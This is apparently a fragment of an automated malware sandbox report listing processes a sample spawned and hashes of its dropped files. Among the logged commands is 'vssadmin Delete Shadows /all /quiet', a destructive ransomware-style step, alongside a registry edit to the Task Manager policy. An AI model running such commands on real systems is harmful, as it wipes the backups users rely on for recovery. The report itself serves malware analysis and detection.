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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f1⤵PID:13748
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3592 -ip 35921⤵PID:10192
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Interacts with shadow copies
PID:6152
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD51c37ad752ef1d2885e1b98cbb30da0d5
SHA10f6c33395134b5c865455ec6c3eb0fc92aa99afe
SHA256a5c837bd15340190da9b82c99b6a9d797809761a47c5d585f073dd0a85ef4d87
SHA5122dd4f6a1e2ac496dc425ae22096a810a686a380c87a7825b4b4ce3a24bf1aeaacc04c2781d4b0c4e316a97398e23c72568f6627cd57f33e0079a5b5271e9289f
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Filesize
12KB
MD5442cf14c63ff126911c85c988546fbfb
SHA1ba181d721910ee2d089f3fa98df3f96478e0b515
SHA2560290457ca5d1967ea5fd2546ce01aa0906111af939e9dcdfc3e3aba51f2f684b
SHA512ca0688ed1e4c1ab95a4ee4e01d8e539a3ac5f3e12b138b2a6c10ce4447b9e0e8cdadcb4e54e96592f664e93bfe04887f1be96d00858b6e071c5833b738f1f867
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Filesize
684B
MD5caead1e987f7109537fd507cc61d3588
SHA18ab783ab6d7489fdea3a041cee215fedb6046647
SHA2565ef69e1de9ee4fc52d5f81b8c60d586f638dedf389b6a341879a42f28a0de3e0
SHA51283a0ed5cc5106e8ca377af59070f1eae0a6ea2418294b20aab6835b2619eff1ffd892a904c0c9dfe4adabe3273747d955db42915ac3476fec9e500ba8781e815